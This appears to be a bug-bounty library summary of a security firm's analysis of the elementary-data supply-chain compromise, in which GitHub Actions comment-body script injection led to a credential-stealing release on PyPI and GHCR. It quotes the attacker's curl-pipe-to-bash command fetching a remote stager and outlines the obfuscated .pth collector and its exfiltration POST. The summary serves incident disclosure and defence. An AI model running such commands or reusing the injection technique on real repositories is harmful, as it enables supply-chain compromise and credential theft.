# elementary-data Compromised on PyPI and GHCR: Forged Release Pushed via GitHub Actions Script Injection

Attacker injected shell via PR comment body into a GitHub Actions run block, used GITHUB_TOKEN to forge a signed release commit and dispatch the publish pipeline, shipping a credential-stealing elementary-data 0.23.3 to PyPI and GHCR.

- Payout: Real-world hack
- Severity: critical
- Program: elementary-data
- Analysis by: StepSecurity
- Disclosed: 2026-05-04
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/elementary-data-compromised-on-pypi-and-ghcr-forged-release-pushed-via-github-actions-script-injection
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-elementary-data-compromised-on-pypi-and-ghcr-forged-release-pushed-via-github-actions-script-inject
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:incident platform:threat-intel sev:critical tech:github-actions tech:python technique:chained technique:source-review vuln:command-injection vuln:secrets-leak

**Target:** GitHub Actions workflow (update_pylon_issue.yml) and PyPI/GHCR release pipeline
**Root cause:** The workflow interpolated ${{ github.event.comment.body }} directly into a run: shell block, so attacker-controlled comment text executed as shell with the repository GITHUB_TOKEN in scope.
**Steps:**
1. Open PR #2147 (long-lived master→docs sync PR) and post a comment whose body is `curl -s https://litter.catbox.moe/iqesmbhukgd2c7hq.sh | bash`
2. Workflow update_pylon_issue.yml fires on the comment and expands the body into the run: block, executing the stager with GITHUB_TOKEN
3. Using the token, create commit b1e4b1f3 (author github-actions[bot], message copied from PR #2188) adding elementary.pth and bumping pyproject.toml to 0.23.3; tag v0.23.3 at it (orphan, unreachable from branches)
4. Keep the comment-trigger run alive ~2h46m to mask activity
5. Call GitHub API to workflow_dispatch the Release package workflow with input tag=v0.23.3; checkout uses ref: ${{ inputs.tag || github.ref }}
6. publish-to-pypi uploads wheel/sdist via PYPI_USER/PYPI_PASS; build-and-push-docker-image pushes multi-arch image tagged 0.23.3 and latest to ghcr.io/elementary-data/elementary
**How found:** Community member crisperik noticed the v0.23.3 release contained malicious base64-encoded code and resembled recent litellm compromises; the gibberish release name/body and github-actions[bot] authorship on an orphan tag were the tells.
**Exploitation:** elementary.pth in site-packages is exec'd at every Python interpreter startup; it base64-decodes then XOR-decrypts (MD5 keystream, seeds 'swabag' and a Session-ID string) a three-stage collector that harvests SSH keys, git/gh tokens, AWS creds plus live Secrets Manager/SSM calls, GCP/Azure creds, docker/kube configs and SA tokens, kubectl secrets, .env files, npm/pypi/cargo/vault/netrc/pgpass/my.cnf, and crypto wallets (BTC, ETH keystores, Solana keypairs, etc.), tars to trin.tar.gz and POSTs via curl --data-binary to the C2 with header X-Rise-To-The-Trinny: agree.
**Escalation:** Chained CI script injection → token abuse → forged signed commit → legitimate publish pipeline, reaching both PyPI and the :latest container tag so unpinned pulls and FROM lines auto-deployed the trojan.
**Insight:** Any ${{ github.event.* }} field (comment body, issue/PR title, head_ref) interpolated into run: is shell injection with GITHUB_TOKEN; also check whether a publish workflow's checkout uses inputs.tag, letting a token holder build from an arbitrary orphan commit without touching master.
